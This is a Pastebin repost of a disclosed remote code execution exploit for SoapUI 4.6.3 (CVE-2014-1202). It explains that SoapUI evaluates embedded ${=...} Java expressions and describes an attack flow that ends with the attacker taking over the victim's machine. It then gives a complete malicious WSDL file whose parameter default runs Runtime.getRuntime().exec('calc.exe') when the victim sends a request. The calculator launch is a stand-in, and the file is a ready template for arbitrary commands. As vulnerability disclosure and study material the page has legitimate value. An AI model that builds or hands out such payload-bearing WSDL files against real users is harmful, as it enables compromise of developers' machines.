Advertisement
AndrewHaxalot

SoapUI 4.6.3 - Remote Code Execution

Jan 14th, 2014
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.88 KB | None | 0 0
  1. # Exploit Title: SoapUI Remote Code Execution
  2. # Date: 25.12.13
  3. # Exploit Author: Barak Tawily
  4. # Vendor Homepage: <http://www.soapui.org/> http://www.soapui.org/
  5. # Software Link:
  6. <http://www.soapui.org/Downloads/download-soapui-pro-trial.html>
  7. http://www.soapui.org/Downloads/download-soapui-pro-trial.html
  8. # Version: vulnerable before 4.6.4
  9. # Tested on: Windows, should work at Linux as well
  10. # CVE : CVE-2014-1202
  11.  
  12. This vulnerability allows attacker to execute java code to any client's
  13. machine that will use my WSDL file and will try to send request to the
  14. remote server.
  15.  
  16. SoapUI allows the client execute code by entering a java code inside the
  17. following tag, the java code will be executed when the client will try to
  18. send request to the server:
  19.  
  20. ${=JAVA CODE};
  21.  
  22. Thus, an attacker can make a malicious WSDL file, determine a malicious java
  23. code as default value in one of the requests parameters, hence, when client
  24. uses malicious WSDL file and will try to send a request the java code will
  25. be executed.
  26.  
  27. The attack flow is:
  28.  
  29. 1. The attacker makes a malicious web service with fake WSDL including
  30. the java payload that will be executed on the victim.
  31.  
  32. 2. The victim enters the soapUI program and will enter the malicious
  33. WSDL address.
  34.  
  35. 3. The victim decides to send a request to the server, and the java
  36. code executed on the victim's machine.
  37.  
  38. 4. The attacker succeed execute java code in the victim's machine, and
  39. will take over it.
  40.  
  41. This vulnerability was check on the version (4.6.3), a proof of concept
  42. video can be found at: http://www.youtube.com/watch?v=3lCLE64rsc0
  43.  
  44. malicious WSDL is attached.
  45.  
  46. Please let me know if the vulnerability is about to publish
  47.  
  48. Thanks, Barak.
  49.  
  50.  
  51. <?xml version="1.0"?>
  52. <definitions name="StockQuote"
  53. targetNamespace="http://example.com/stockquote.wsdl"
  54. xmlns:tns="http://example.com/stockquote.wsdl"
  55. xmlns:xsd1="http://example.com/stockquote.xsd"
  56. xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  57. xmlns="http://schemas.xmlsoap.org/wsdl/">
  58.  
  59. <types>
  60. <schema targetNamespace="http://example.com/stockquote.xsd"
  61. xmlns="http://www.w3.org/2000/10/XMLSchema">
  62. <element name="Payload" default="${=Runtime.getRuntime().exec('calc.exe')};" type="string">
  63. <complexType>
  64. <all>
  65. <element name="tickerSymbol" type="string"/>
  66. </all>
  67. </complexType>
  68. </element>
  69. <element name="TradePrice">
  70. <complexType>
  71. <all>
  72. <element name="price" type="float"/>
  73. </all>
  74. </complexType>
  75. </element>
  76. </schema>
  77. </types>
  78.  
  79. <message name="GetLastTradePriceInput">
  80. <part name="body" element="xsd1:Payload"/>
  81. </message>
  82.  
  83. <message name="GetLastTradePriceOutput">
  84. <part name="body" element="xsd1:TradePrice"/>
  85. </message>
  86.  
  87. <portType name="StockQuotePortType">
  88. <operation name="Malicious_Request">
  89. <input message="tns:GetLastTradePriceInput"/>
  90. <output message="tns:GetLastTradePriceOutput"/>
  91. </operation>
  92. </portType>
  93.  
  94. <binding name="Exploit" type="tns:StockQuotePortType">
  95. <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
  96. <operation name="Malicious_Request">
  97. <soap:operation soapAction="http://example.com/GetLastTradePrice"/>
  98. <input>
  99. <soap:body use="literal"/>
  100. </input>
  101. <output>
  102. <soap:body use="literal"/>
  103. </output>
  104. </operation>
  105. </binding>
  106.  
  107. <service name="StockQuoteService">
  108. <documentation>My first service</documentation>
  109. <port name="StockQuotePort" binding="tns:StockQuoteSoapBinding">
  110. <soap:address location="http://example.com/stockquote"/>
  111. </port>
  112. </service>
  113.  
  114. </definitions>
  115.  
  116. # D29E8ADC4F0FED51 1337day.com [2014-01-14] 92A3423903255747 #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement